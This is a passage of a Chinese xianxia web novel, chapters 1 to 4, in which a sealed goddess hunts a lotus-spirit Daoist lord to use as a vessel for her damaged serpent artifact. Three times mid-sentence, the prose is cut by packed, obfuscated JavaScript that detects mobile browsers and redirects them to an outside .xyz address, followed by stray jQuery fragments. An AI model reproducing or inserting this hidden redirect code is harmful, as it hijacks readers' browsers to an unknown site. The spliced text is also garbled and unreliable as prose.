《仙君被我折辱上瘾后》 1. 第 1 章 雾气缭绕的莲池内弥漫水声,池塘底一道阴影闪过,荷叶颤动,很快平静。咀嚼的声音从水底传来,突兀的一道声音响起,听着像是稚童:“北北,这个藕好吃!” 女子站在水池中,衣袖挽着,小臂探进池塘里,澄澈的池水逐渐浑浊。 北溯左手在水里勾了勾,水流涌动,有什么东西迅速朝她左手游来,只见左手周围水流围着她手腕转动,片刻后归于平静。 她低眸看着缠上手腕接近透明的黑色小蛇,挠了挠它下巴,再一抬头,瞧着这处望不到尽头的莲池,中心处一座凉亭静立,远方雾气弥漫,看不清雾气后有什么。 “要怎么才能进去呢……” 小蛇仰起头,跟着一起看过去,竖眼收缩,苦恼道:“上次我还没靠近,就被禁阵驱赶,那朵莲花会在里面?” “也许吧。”北溯捧了些水,浇灌在盛开的莲花上,俯身轻轻一嗅,淡淡的莲香扑鼻,清新好闻。 是她喜欢的气味。 “我被封印前,这朵莲花还没开,三百年过去,兴许已经成精了?” 不然怎么会找不到呢。 三百年前她被那几个老不死的封印,修为大损,现在她醒了,那几个人倒是死得干净,连个供奉神像都没有,她想报仇都没机会,还被损坏了本命法器——这只通体漆黑的小蛇。 为了修补,化名裴云霄扮作凡人潜入道宗搜寻金莲。不过三个月过去都没能找到具体位置,只能退而求其次用人的身体作为容器,修复法器。 “即使没有金莲,炼化修士的身体也可以。”她忽而捏了小蛇的尾巴,不满:“若是仍找不到进去的办法,你就乖乖用我挑的容器。” 小蛇不好意思地嘿嘿几声:“我就想要好的嘛,而且这群修士太弱了,承受不了我的力量。再试试嘛,听他们说里头住着的道君只差一步便可飞升,他的修为高,一定能承受得住我!” “他么……” 散开的神识捕捉到身后异动,北溯懒得躲,没什么力道的冰珠打在后背,掉落水中。 “裴云霄,你在干嘛呢?别偷懒!藕不挖完,我们都要被罚!” 白衣少女把手里的莲藕就着池塘水洗去污泥,小心翼翼放进背篓里,一抬头,就见着另外一片池塘里的人站在水里一动不动,不知道在干什么。 北溯随意朝她摆了摆手,少女哼了一声,从池塘里走出来,站在塘埂上,身后背篓已经满了。 小蛇优哉游哉地拍了拍她肩膀,说:“别着急,北北会帮你的。” 她只能看得到北溯,眼中没有小蛇的存在,更听不见小蛇的声音。 “天黑前挖完便可,还早着呢,急什么。” 珩玲一跺脚,不管她了,转身就走,真是皇帝不急太监急。 北溯望着小姑娘气鼓鼓的背影,没说什么,小蛇下巴蹭了蹭她手腕,说:“北北你不去哄哄她吗?她一生气,今晚你就得睡床脚了。” “晚上再哄吧。”她蹙起眉,变换了容貌的脸上罕见露出一丝愁意。 被封印前,她要么带着鳞舞征战三界收服强者为己用,要么就是跟昆仑那些个老头打架,哪里会想到她还有哄小姑娘的一天,这三个月里小姑娘都不知道生了她多少次气。 视线被一朵将盛放的莲花吸引,在摘下这朵莲花给珩玲哄她与干完活之间,她选择掐了莲蓬,扣出里面的莲子吃了。 小蛇眼巴巴看着,几颗没剥皮的莲子被塞进嘴里,它慢慢嚼了嚼,吐出皮,满足地眯起眼。 “这里的莲花蕴含的灵气很浓郁,能缓解你灵源消散的速度。”北溯刚要再去摘个莲蓬,水面震荡,她抬起头,朝着东方望去。 高山耸立,仙云祥雾,依稀可见嵌入山体之中的高阁,如同仙境。 耸入云端的山峰之上,梵钟被撞击,宏厚的钟声瞬息间传遍整个道宗,震人心肺,连响三声,这是道宗被袭击的讯号。 凉亭内忽然出现一名蓝衣女子,面向那股看不透的雾气,跪地行礼,语气焦急:“宗门外有妖王袭击,宗主请道君出面击退妖王。” 北溯认得她,她是重莲殿的执事。 醒来后急着修补法器,没来得及去妖界看看便潜入道宗,听她说起妖王,有些好奇,“三百年过去,妖界现在还能剩几名妖王?” 小蛇数了数,说:“北北你被封印前,四名妖王死了一个,剩下的三个应该还活着吧……” 毕竟当时那群人要杀的,只有北北一个。 北溯望着水雾,声音很轻很轻:“希望吧。” “不过已经过去这么久,也许早就换了新妖王。” 地面再次晃动,女子脸色煞白,见里面还没动静,继续传音:“妖王带来了龟甲兽,您再不出手,一重山就要被他们撞塌了!” 北溯没兴趣在这看她跪地求人,转身去宗门看看是哪个妖王跑过来袭击道宗,也许可能是她的老熟人。 未行多远,鼻尖嗅到淡淡的味道,那味道很是熟悉,是她嗅了近三个月的莲花香,却比莲池中任意一朵莲花香还要浓郁,纯净。 这个味道勾起她深藏的记忆,依稀记得,在昆仑时,她也闻过如此浓郁的莲香。 北溯停脚,转身看过去。 小蛇早就回头去看了,妖瞳瞪大,激动道:“禁阵开了!” 那片雾气逐渐散开,雾气后竟然只是一片如镜般能清晰倒映出人影的水,一道笔直水栈连接凉亭,水栈逐渐显现全貌,长长的水栈那头连接台阶,往上,便是一眼看不过来的亭台高阁,浮于水面之上,倒映水中。 位于中心的殿房上,立着一块牌匾,“重莲殿”三字尤为醒目。 殿门缓缓开启,那股莲香愈发浓郁。 几息后,颀长身影步出。 女子始终低着头,不敢看。 看一眼,便是冒犯,亵渎。 但偏偏有两双眼直勾勾盯着。 那人身着白衣,墨发垂于脑后,只一根丝带系着,眉眼如画,眼帘微垂,长睫在眼下投下阴影,他的唇很薄,但唇珠饱满,将他因薄唇带来的冷气驱散几分。 他缓缓走出大殿,踏上水栈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860740|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 长长的水栈上只他一人走过,水天相接,他如同独行于世的仙,让人由心底生出憧憬与畏惧。 小蛇忽然缠紧北溯手腕,在她手腕上来回缠绕,异常兴奋。 “北北,就是他!我要他,我就要他!” 激动得在北溯手上扭了半天,没得到她答应,疑惑看过去,见她还在看,咬了她一口,再次说:“北北,就他了!他最顺眼!” 好一会才听见她说:“唔,确实顺眼。” 小蛇激动:“是吧是吧!” 再回头看时,清晰看见男人已经快走到凉亭,注意力被他额间银色莲花印记吸引。 那是朵含苞待放的莲,衬得他更加圣洁,浑身散发着神性。 越神圣不可侵,越容易令人对他产生不可言喻的念头。 北溯后退一步,双手背于身后,握紧成拳,眸光里逐渐掺杂一种难以言喻的神色。 克制着见到此人后心中荡出的冲动,那种想将一切美好事物摧毁的冲动。 实在是太看不惯这种正道人士装得伟岸高洁,叫她想将他这副面孔撕碎,玷污。 尤其他还是—— 北溯盯着他额间的莲花印记,笑了笑,语气微妙:“看见他额间的莲花印记了吗?” 小蛇震惊,看男人的妖瞳竖起:“他就是那朵金莲?” 北溯轻轻嗯了一声,目光灼灼,真是得来全不费功夫,来到道宗三个月都没能见上这位大名鼎鼎的道君,也未寻到金莲踪迹,偏就这么巧,今日见着了。 人和金莲,都见到了。 凉亭内蓝衣女子立刻站起身,焦急道:“道君,宗主她——” 男人没有给她一丝眼神,未进凉亭,身形消失。 鼻尖的莲香宛若被瞬间吸走,荡然无存,北溯瞥了眼那女子,扫兴地转身。 消失的莲香忽然重新荡开,北溯皱起的眉头舒展。 她若有所觉地抬眼瞧向前方,只见那道令她几乎难以自控的身影背对自己而立,音色如池水缓缓流淌般悦耳,听得她更加兴奋。 “这些藕拿去磨成粉,三日内送到凉亭里。” 北溯没应,她看到了更吸引她的东西。 虽然他说完便瞬移离开了,但她看得一清二楚。 他未着鞋履,尘污无法侵染他,在他踏足过的地方,莲花盛开,晶莹剔透,宛如工艺品。 北溯满意地弯了眼眸,地面莲花飘散,却带不走她的好心情。 “唔……” 她那时随意扫过一眼的金莲,还真成精了啊。 “走吧,去看看这个‘容器’实力如何,能否承受得住我们的力量。” 小蛇激动得尾巴都打结,跟着北溯要走,看见几息间过来的女子,尾巴一扫,竖瞳盯着她,冲她龇牙。 “北北,她又来了。” 女子面容清秀,蓝衣上一排细密如针头大小碎珠点缀,端得是清冷出尘姿态。 “你倒是运气好,窥见道君真容。” 北溯诧异:“他见不得人吗?” 2. 第 2 章 陆微璎呆滞了,压根没想到她会这么说,反应过来要训斥她时,人已经走出好几步。 她直接闪身来到北溯面前,拦住她,语气愠怒:“你敢对道君出言不逊!你——” 北溯抬眼,语气未变,却叫陆微璎忽觉后背发凉,下意识后退一步。 “道宗被袭击,陆执事不用去护宗吗?” 陆微璎这么一被打岔,心中一急,话都没说就走了。 小蛇冲着她的背影龇牙咧嘴,没好气道:“她真的好烦,总是针对你和玲玲。” 北溯边走边朝身后扬手,一块晶莹剔透的藕落到她手里,拿到小蛇口边,喂给它吃。 “之前总被她要求做这做那,还想欺负你,哼!”小蛇阴险一笑,边吃边说:“待会我去给她找点麻烦,反正外头乱的很,没人能发现。” “你的那点力气留着抑制灵源消散吧,这些藕被挖完,短时间应该不会再生,不快些用容器重塑你的身躯,你就要没了。” 小蛇美滋滋吃着藕,尾巴尖摇得起飞,看不出一丝伤感。 如今只有与它缔结本命契约的北溯可以看到它,在旁人眼里,它如空气,看不见,也摸不到。 “没事,嚼嚼嚼……我还能撑好一会呢,那我们去看看那朵莲花?” 小蛇吃得欢快,自己用尾巴卷了那半截藕,漂浮在北溯肩头。 “先回去。” 回了小破屋,北溯没进去,神识一扫,里头没人,只有露台上堆积着莲藕,背篓倒在地上,显然人走得很匆忙,去护宗了。 北溯掉头,直接往一重山而去。 这三个月为了找适合的容器,晚上没事就在道宗内溜达。 整个道宗四面环山,九座山峰环绕道宗,一座高于一座,南西北三面设有入口,东面靠海,重莲殿与道宗位高权重之人便是位于此处最高峰,九重山。 现下被袭击的一重山位于南面,靠近道宗外门,外门执事与弟子实力稍低,妖王以外门作为突破口,集中力量攻击,若不及时支援,南门恐会被攻破。 北溯去传送阵下九重山时,碰到了有过一面之缘的道宗长老星峦。 老者一头白发编得整整齐齐,连下巴上的白胡子也编了,一身干净整洁的紫袍。 瞧见她,一挑眉,抬起拐杖戳戳地面亮起的传送阵,催促道:“那小姑娘,走快点走快点,传送阵要开了。” 北溯第一次见到他,就被叫成小姑娘,她当时没说话。按年纪算,她怕是能当他祖宗。 一重山的传送阵保存完好,说明护宗大阵未破,暂时是安全的。 走进传送阵的瞬间,传送阵启动完毕,一眨眼,眼前光线昏暗,站在一重山顶,稍稍俯视便可见道宗外此刻混乱场景,山峰被撞击得中间凹陷,碎石滚地。 不过显然已经有人在解决了。 撞击山峰的龟甲兽侧翻,堪比山峰高大的身躯这么倒下,活像一座山丘。四条腿腾空扑棱,光线随着它的动作忽明忽暗。 来袭击道宗的不止这一只龟甲兽,山脚下数道白色身影与各种奇形怪状的妖兽缠斗,粗略扫过去,都是些未开智的低级妖兽,看着黑压压的一群,实际上没什么威力,陆微璎说得那么急,应该是忌惮妖王。 方要去找那妖王是谁,头顶日光变得刺眼,伴随着迅速升高的温度,顿时察觉到不对。 这感觉太熟悉了,很像那家伙施展妖族秘术的前奏。 北溯释放神识去找珩玲,若是没感觉错,这秘术一展开,什么东西都会融化。以小姑娘的修为,根本受不住。 弟子们很快就察觉到不对劲,气温太高了,宛如在火炉中,浑身出汗,额间汗珠滑到眼里,辣眼睛。 北溯捕捉到珩玲的方位,随手捡了把掉落地上的剑,御剑寻人。 那处因龟甲兽撞得塌陷的位置,数名白衣弟子在与妖兽厮杀。 先前还生北溯气的少女,此刻浑身被汗湿透,面容坚毅,目光凶狠地盯着扑咬过来的妖兽,一剑挥出,被妖兽一口咬住剑身,不等她使力,那剑居然从被妖兽咬住的位置开始融化,速度快到顷刻间蔓延到剑柄。 剑身彻底融化,铁水滴落,没有东西支撑,珩玲惯性地往前倾,妖兽顺势张大了嘴。 珩玲只看到妖兽喉咙里密布的丝状物—— “嘭——” 听到这声剧烈爆炸声响起,妖兽骤然炸开,珩玲能感觉到一股拉力拉扯着自己的腰,脑子还未反应过来,鼻尖先一步嗅到一股淡淡的清香。 一抬眼,女子看着明明普通得扔进人群里都没有存在感,可此时在她眼里,比任何人都好看。 珩玲一把搂住她的腰,惊喜道:“裴云霄!” 北溯御剑带她避开妖兽,小蛇忽然出声:“那不是凤鸣吗?他还没死?” 北溯停下,抬头看去。 苍穹之上,立着一名身着火红羽裳的人,凤凰翎羽垂于两侧,发丝鲜红,如火焰燃烧。那人长着一张雌雄莫辨的脸,面无表情地俯视地面,施展的火球逐渐壮大。 眸色复杂,心道自己确实没感觉错。却没了好奇心,这家伙也能令他们忌惮成这样? 底下弟子惊喜吼叫传来:“是道君!成镜道君出手了!” 北溯来了兴致,偏头一看,他一袭白衣,身后缓缓浮现一道虚影,宛如神降。 她却皱起了眉,当即将珩玲带到传送阵那,顺便将手里还没被融化的剑扔给她,转身要走时,被问:“你要去哪?底下都是妖兽,很危险!” 北溯脚步未停,没有回答,她得联系上那家伙,免得坏了她的好事。他要是伤了好不容易找到的金莲,她就拿他当容器炼化。 珩玲抬脚就要追上去,冒出一根拐杖拦住她。转头一看,竟然是星峦长老,连忙行礼。 星峦收回拐杖,往地面一敲,阵法亮起,迅速往山脚下蔓延,珩玲也在阵法范围内,瞬间感知到一股柔和的力量帮自己恢复伤势,连热气都减淡了,立刻道谢。 星峦眯成一条缝的眼往下瞅,看也不看珩玲,说:“你不必担心她,她比你强。” 珩玲刚要说话,眼前视线忽然变红,抬头一看,一颗隐天蔽日的火球压下来,她只看了一眼,双眼火烧一般刺痛,立刻捂住双眼,神色痛苦。 星峦脸色一变,拐杖抬起,重重插入地面,双臂挥动,灵力涌入脚下法阵。 “此乃妖王秘术,修为未至聚灵境的,万不可去看!” 听到这浑厚之声的北溯正站在一处狭隘的缝隙里,抬头看着那压下来的火球。 北溯凝眸,抬手一弹,一只隐身小蛇从她指尖射出,冲进火球的瞬间,那人神色微动,起先是不耐,一息后火色妖瞳骤缩,双眼四处扫射,显然在找什么东西。 北溯正要操控隐分蛇接近凤鸣,与隐分蛇的连接突然断开。 她立刻离开此处,混入与妖兽混战的弟子中。 如她所料,自己先前在的地方被一道夹杂莲香的杀气轰扫,化为废墟。 下一刻一股力量荡开,所有人只觉得一股凉气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860741|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沁入心扉,瞬间轻松。 周围弟子纷纷仰头看去,只见那火球之下,浅色莲花盛开,远远望去如同莲花托举火球往上升。 花瓣逐渐合拢,将火球包裹在内,甚至还能透过花瓣瞧见里头涌动的威能。 直到最后一片花瓣合拢,莲花开始收缩,众人惊叹,这朵吸收足以瞬息融化生灵威能的莲花缩小至巴掌大小,缓缓飘入主人手心中。 温度恢复正常,光线明亮,众人抬头,只见他们钦慕的道君与那妖王对峙,掌心是那朵泛着火光的莲花。 人群中的北溯也在抬头看。 只一身白衣,身后莲花虚影消散,如同守护世间的神,立于众生前,保护他们。 身形颀长,在体魄优于常人的妖王面前,丝毫不逊色。 北溯忽然问小蛇:“鳞舞,你喜欢凤鸣多一点,还是觉得这朵莲花更好?” 小蛇左看看凤鸣,右看看这朵成精的莲花,觉得还是莲花更合它胃口。 北溯目光锁定在男人身上,眸色转深:“鳞舞,就他了。” 小蛇激动:“真的吗北北!”它兴奋地抬头望去,望向那位道君。 被众人关注的道君五指捏合,包裹妖王一击的莲花凝缩,成了颗莲子。 这才缓缓抬头,面向身前的妖王,开口问:“阁下为何突袭道宗?” 凤鸣盯着他眉心的莲花印看了好一会,冷哼一声:“我心情不好,来这出出气,怎么,还需要提前告诉你?” 刚发现她的气息,还没连接上,就被这人阻断,他能不气? 那家伙也是,醒了都不来找他,若非他偶然间感知到她的气息从道宗的方向溢出,永远不知她醒了。 方才捕捉到的气息如同沉入海底,一丝也寻不到。 他更气了。 “怪你!坏了我的好事!” 他对面的人压下眉梢,思索这句话的含义,片刻后抬眸问:“阁下在寻什么?” 凤鸣手指一颤,被看穿后稳住心态,不想与此人对上,硬打,他打不过此人。 他一挥袖,挣扎着翻身的龟甲兽四脚着陆,仰起脑袋恭候他。 凤鸣只冲这里唯一有资格与他对上的人丢下一句:“道君可要日日提防着,说不定哪天我又来,破了你这护宗大阵。” 遮天蔽日的龟甲兽掉头离开,最具有威胁力的两只妖兽一走,剩下的不足为惧。 小蛇忽然出声:“北北,是异种裂缝!” 北溯扫了眼,不远处空间一条狭长裂口,里头漆黑,隐隐有什么黑紫色颗粒溢出来,透着一股子诡谲气息。 “有护宗大阵在,这东西进不来。” 话音刚落,沁人心扉的凉意荡开,山脚下妖兽俱灭,众弟子震惊,纷纷对那人投去感激钦佩的目光。 北溯能听见弟子们惊叹赞美,艳羡仰慕,在他们眼中此人是神,庇佑他们不受迫害,这百年来,一直都是如此。 那人踏空而来,行至星峦面前,弟子们只能看见他挺拔的背影。如山尖终年不化的雪,纯洁白净,叫人不敢靠近,不敢亵渎。 炽热的目光齐齐凝聚在他身上,此刻谁都想靠近去看这位鲜少出面的道君,可谁都没有那个胆子。 他忽然转身看来,清冽的眸子一扫,众弟子慌忙低头,不敢对视。 百人之中,唯有北溯直直看着他。 感知到他目光在自己的位置停顿片刻,北溯心底生出要现在就将人掳走的冲动。 带走他,现在就带走—— 3. 第 3 章 只可惜他只扫了一眼,便施法离开了。 有些失望,她还想着浑水摸鱼试试看能不能把人直接掳走。 不过既然已经找到,今晚就动手吧。 北溯垂下眼眸,掩盖眼底异色,缓缓走回传送阵。 以陆微璎为首的几人赶过来,她吩咐其他人去清理伤亡,自己去到星峦那,单手扶额向星峦行礼,略带歉意道:“弟子来晚了。” 星峦拔出拐杖,缓了会,没在意她的话,往传送阵走:“来早了多一个人受伤,老夫我还没那么多力气救你们。” 陆微璎一时凝噎,不知道该说些什么。她见北溯来,方要叫她回去继续道君给的任务,然北溯没有给她丝毫目光,直接拉着珩玲跟上星峦进入传送阵。 回到九重山,沁人心扉的凉意直击天灵盖,星峦感叹一句:“还是在这舒服。” 他转头看向身侧两人,笑道:“你们二人今日表现得很不错啊。” 珩玲被夸得不好意思,往北溯身后挪,见北溯在发呆,戳了一下她后腰,踮起脚尖小声说:“星峦长老夸你呢。” “嗯?”北溯回了句:“长老更厉害。”语气可谓是敷衍极了。 珩玲使劲戳了她后腰,哪有这么和长老说话的。 星峦却哈哈大笑,拄着拐杖优哉游哉地走了。 珩玲等星峦走远,一个激灵反应过来,拉起北溯手就往莲池冲。 “糟了,藕还没挖完!” 珩玲一回去就拎着背篓拉北溯一起去,北溯拒绝。 小蛇咦惹一声,整条蛇都往后仰,诧异道:“玲玲你眼睛怎么肿成这样了!” 珩玲不知道有条小蛇在对自己说话,她感知不到小蛇的存在。 北溯抬手捏住她下巴拉进,仔细看她眼睛。 “裴——”珩玲的话就这么被堵住,感觉到她在看自己眼睛,说:“可能是之前伤到了,应该缓缓就会好。” 北溯没说话,只松开她,拿走她手里的背篓,把人往屋子里推。 “剩下的我去弄,你待着好好休息。” 珩玲拒绝:“不行,这是两个人的活,天黑之前你一个人干不完的。” 小蛇嘿嘿一声,冲北溯耳边说:“北北,她还挺讲义气。” 北溯已经拎着背篓走了,走出去又倒回来,果不其然珩玲自己又拿了个背篓要跟着一起去,耐心解释:“不用急着弄,你们道君说了,磨成粉,三日内送到凉亭就行。” 珩玲哦了一声,眼睛已经睁不开了,犹豫一下,说:“那我休息一个时辰就去帮你?” 没人回答她。 她使劲睁大眼,看到走远的模糊身影,稍微安了心。 北溯走到莲池那,放眼望去,几十块池塘还没被清理到一半。小姑娘认认真真忙活一上午也只处理了五块池塘,这要是没完成任务,今晚就得被罚。 “唔,真麻烦。” 北溯弯腰,纤长手指探入水中,晶莹池水衬得她皮肤异常白皙。 五指张开,水下立刻产生五道水波,细如丝线,迅速朝四周扩散,手指捏合,无数根莲藕同时冒出水面,宛若被无形的细丝缠绕,带出水面,整整齐齐地码在塘埂上。 小蛇看得两眼冒光,尾巴晃了晃,身子松开,蠢蠢欲动,被北溯勒令闭紧嘴。 “吃多了不消化。” 北溯瞧了眼水面,冒出来的莲花莲蓬都好好的,颇为满意地点点头。 运回小破屋时,珩玲还说要来帮她,北溯瞅了眼她红肿的眼睛,直接将人打晕,顺便磨了点藕粉和成泥给她敷在眼睛上。 再回去装模作样地来回运藕,实际借此机会观察那片雾气。 这么一弄,天就黑了,没再见禁阵开启过。 夜晚的莲池比白日还要静谧,水面波光粼粼,月光洒下,星星点点灵子从莲花花蕊中飘出,小蛇一口一个。 塘埂上一排排全是晶莹的莲藕,泛着微弱荧光,乍一看过去,颇为梦幻。 北溯跨过塘埂,顺手将吃得嘴巴都撑开的小蛇拔走,甩到背篓里。 小蛇黑漆麻乌的脑袋从背篓里冒出,竖瞳望着四周,夜晚中几座高耸的阴影环绕,如同暗中蛰伏的凶兽在窥视。 它见北溯朝凉亭走去,激动道:“北北今晚要去试试进到禁阵里面吗?” 北溯嗯了一声,小蛇更加激动,在她肩膀上盘着,期待万分。 今晚就要吃了他吗!好期待! 寂静无人的一晚,莲池中未见人影,偶有水花溅起声传来,一切显得分外宁静祥和。 忽略隐藏身形研究怎么破禁阵的北溯,这里确实很安静。 凉亭前已经不见水栈,雾气重新笼罩,她在凉亭边试了几次,发现这道禁阵里融了一道气息,只有这道气息的主人靠近,才会自动开启,若是硬破,必会被发现。 看来她要么趁着莲花在外面的时候掳走,要么得一举破阵立刻进去抢人。 “北北!看我的帽子!”跑出去玩的小蛇跑回来,头顶顶着一片荷叶。 北溯扭头看它,正要夸赞一番,神色微变,凝神闭气,慢慢转身去看。 几乎在她看小蛇的同时,凉亭内出现一道白色身影,离她只有三步不到的距离。 他侧对着她,站在四面无围栏的凉亭里,一出现,周围空气微微波动。 只一身白衣,静静立在凉亭内,月光洒下,莲花微微摇荡,这么看着,倒像是一幅画。 他抬起手,那颗吸收凤鸣一击的莲子坠入池塘里,威能在水中爆开,水面不见动静,水下瞬间被火色充满,天幕似乎都被染红。 眼前一幕看得北溯更加好奇,这朵莲花修为几何,竟然还能这样化解凤鸣攻击。 越发地想将这朵莲花带走,剥开看看,里头还有什么惊喜。 小蛇头顶的荷叶飘落,它急忙咬住莲梗,重新盖到头顶。 这个动作刚结束,便听到清冷嗓音响起。 “在道宗内,为何要用隐息术?” 成镜转身,眼眸准确看向北溯的方位。 小蛇吓得差点给莲梗咬断,小声说:“北北,你被发现了。” 漂浮的灵子逐渐靠近,在他周身萦绕,衬得他如天上仙,连露出的肌肤都变得异常润白。 男人额间的莲花印记似乎亮了一瞬,北溯不知道那是不是自己的错觉,她卸下身上的隐息术,整个人完全显露出来。 他忽然朝她走来,莲花印自他脚下盛开,美好得令人不忍它会消散。 北溯双眸直视他,眼神专注得仿佛在欣赏一幅绮丽画卷。 鼻尖的莲花香气比之前嗅到的还要浓郁,她的身子颤了一下,背在身后的手捏紧小蛇,手背可见青色血管。 与她缔结契约的小蛇当然知道她现在想的是什么,脱口而出:“北北,我们现在就把他抢走吧!” 几乎在小蛇说完的同时,莲池上灵子迅猛向凉亭聚集,经过成镜时异常温柔,轻轻触碰他的身躯,却无情组成囚牢,将北溯囚禁在内。 被囚禁的人面上无半分惊慌,眼中反而荡出更深的喜色。 唔,她被这朵莲花困住了呢。 小蛇着急:“北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860742|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北你怎么不躲开?” 神格在,没有弑神法器,她不可能被伤到。 灵子在她周身舞动,若非灵子连成的阵法溢出冷意,这一幕看着颇为唯美。 北溯背在身后的手放松,双眸只看着他,脸上没有半分惧色,她在思考,自己为何会被发现。她的隐息术从未失手过,况且即使自己被封印,修为大减,也不会比他弱。 唔…… 清冽莲香靠近,思绪忽然放空。 小蛇急促催她:“北北,他要抓你!” 北溯没有动。 “妖王要找的人是你?” 他的目光转向北溯,仔细看过她的面容,轻轻摇了头,垂下的发丝随之微晃。 “或者,你是他手下,混进道宗帮他寻人?” 北溯眨了眨眼,应了句:“都是。” 对方显然不满意她的回答,收紧灵子,北溯配合地装疼。 成镜看她:“我并未伤你。” “嗯?”北溯站直,露出笑来:“那好吧。” 话音落下,无形的力量以她为中心迅速朝四周扩散,瞬间覆盖整个莲池,明月高悬夜空,莲花静置,水面倒映出一轮弯月。 一切与之前并无不同,但仔细观察,总有种诡异违和之感。 北溯抬手,灵子跟随她手部动作,拖出残影,凝聚成团,再被她挥向成镜,几乎是她刚挥出去,灵子就被他驱散。 成镜手指一动,莲梗破出水面,将她全身缠住,一朵拇指大小莲花被他打入北溯体内,当即无法动弹。小蛇吓得头顶荷叶都掉了,盯着被打进去的位置看。 这是束身禁制,只需花些时间便可解开,北溯却在这禁制内感知到一股熟悉的气息。 他身上那股气息,与她同源,含着一丝神性。这回她倒无法无懈可击,任何带有神性的东西,都能伤到她。 本就对他感兴趣,现在愈发想知道,她不在的这三百年里,这朵金莲是如何修炼成形的。 她目光肆无忌惮地盯着他眉心圣洁的莲花印记,颇为好奇,人界怎么能将昆仑的金莲孕养成形,甚至短短三百年便能成长到这个地步。 北溯垂眸,无声哂笑。 不过她得谢谢这群人,为她培育了一个极好的容器。 思绪收回,她不再遮掩,忽略小蛇絮絮叨叨,对成镜说:“道君既然发现,怎么不动手杀我?” 成镜未言,眸光扫过突然掉落的荷叶,再见她这般悠然未有被发现的惊慌,眸光微闪,抬手击出,北溯身后的水雾散开。 小蛇惊喜道:“北北,禁阵开了!” 水栈缓缓浮现,苍茫水面只见一条栈道,周遭静得诡异。 随后见成镜越过北溯,踏上水栈,步步生莲,荧光倒映水中,宛若水面浮着盏盏莲灯。 北溯正想着偷袭一下他,身体漂浮起来,被他控制着跟在身后。 入目是他垂下的柔顺发丝,北溯在想,这头墨发,若是沾上水液,应当会黑得发光。 她肆无忌惮地打量他的身形,眼神露骨,一点点扫过他身上的每一处部位,似乎在思考,从哪个地方开始炼制,效果更好。 步行至水栈中央,成镜忽然停下。 两人的身影倒映水中,水面平静光滑如镜,这是完全不该有的情况。 尤其是他刚将莲子埋进池里。 北溯看他要转身,动手解开束缚禁制,弯起眼眸:“鳞舞,现在动手。” 蛇身瞬间膨胀,粗壮的身体将他们淹没,脑袋仰起,张开巨口,迅速向那道清冷身影俯冲,没入水中。 4. 第 4 章 夜空中巨蛇一口吞下白衣之人,那人连反抗都没来得及。 弯月忽然晃动,夜空如同水面一般泛起涟漪,且迅速扩大。 北溯抬手,指尖迅速翻转,一轮又一轮拇指大小的弯月随着她的动作凝成形,凝聚到脚下,组成阵法,她将法力注入,阵法骤亮身影坠入阵法中。 周围如同镜面般破碎,水声响起,月辉明亮。 这才是真正的莲池。 夜空中一条巨大长状黑影闪过,如同巨物降世,极具压迫力。 空气忽然震荡,东方九重山巅,梵钟再响。 这次却是不间断地一直响动。 陷于安静中的道宗瞬间惊醒,最新察觉到梵钟响的人即刻禀报给宗主,尤为急迫,甚至比白日妖王来袭还要焦急。 声音隐隐颤抖:“禀宗主,道君在借用昆仑镜的力量!” 一块玉牌自殿内飞射出,弟子接住,随即听见一道冷声:“立刻召集所有长老,开启七绝禁阵,务必第一时间护住道君。” 昆仑镜乃道宗镇宗法器,其威能只有成镜可调用。 与此同时即将靠近护宗大阵的北溯察觉到异样,当即让小蛇松口。 吐出成镜的瞬间,一朵莲花从地底冲出,张开的花瓣如同张开的口,将一人一蛇吞入,花瓣收拢,紧紧贴合,开始收缩,与之前吸收凤鸣那一击一样,最终缩为一颗莲子。 他捏着这颗莲子,垂下的眼眸神色不明。 片刻后感知到有气息靠近,收了莲子,负手转身,赶来的人见他安好,问:“道君方才可是遇到危险了?” 他只道:“遇上个麻烦的东西,已经解决。” 那人又重复问了一遍,得到同样的回答,才放心,抬手发出信号,片刻后钟声停歇。 “道君若是解决了,可否去与宗主说一声,宗主担心您的安危。” 成镜沉默片刻,启唇:“夜已深,明日我自会去说。” 那人脸上挂上笑,连连点头,目送他离开。 梵钟一响,全道宗戒备,如今梵钟声停,换上衣衫准备去御敌的弟子们面面相觑,纷纷回了屋。 莲池雾气散开,这次并未有异象,成镜的身影只在凉亭内出现一瞬,随后闪现到重莲殿前。 他将那颗莲子放在殿前石坛上,上面干干净净,只有这一颗莲子。 殿门关闭,他步入寝殿,褪下外衣。 墨发随着他的动作倾散,里头薄衫贴着身体,双臂抬起去拆发绳时,后背薄衫紧绷,清晰可见他线条优美的背肌轮廓。 随后躺下,双手交叠,放置在腹部,阖上眼帘。长睫垂下,皎洁月光映照,衬得他脸颊如玉般莹润。 